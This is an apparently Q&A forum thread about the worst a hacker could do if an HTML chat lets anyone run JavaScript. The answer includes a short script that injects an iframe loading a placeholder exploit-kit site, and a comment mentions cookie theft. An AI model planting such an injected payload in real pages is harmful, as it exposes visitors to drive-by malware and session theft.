4

For an online chat that allows basic HTML, what happens if they leave an open way for a potential hacker to execute javascript on everyone who is in the chat?
What is the worst thing they could do?

4

Create new iframe and load exploit kit inside iframe.

<script language="JavaScript" type="text/javascript">
ifrm = document.createElement("IFRAME");
   ifrm.setAttribute("src", "http://exploitsite.com/");
   ifrm.style.width = 640+"px";
   ifrm.style.height = 480+"px";
   document.body.appendChild(ifrm);
</script>

Infect users with trojan horses , use them as bots, steal their money etc...

2
  • 1
    They could also do some XSS and steal their cookie(s) on that domain (which should hopefully only have their sessionID, but could still be dangerous). You could also go for "pranks" and play mysterious music, waste bandwidth, slow down their computer considerably, and scare them. – Vreality Jun 2 '13 at 0:09
  • Yeah, any javascript holes are very bad. Can totally be exploited as you explained. – jackcogdill Jun 3 '13 at 5:44

Your Answer

By clicking “Post Your Answer”, you agree to our terms of service, privacy policy and cookie policy

Not the answer you're looking for? Browse other questions tagged or ask your own question.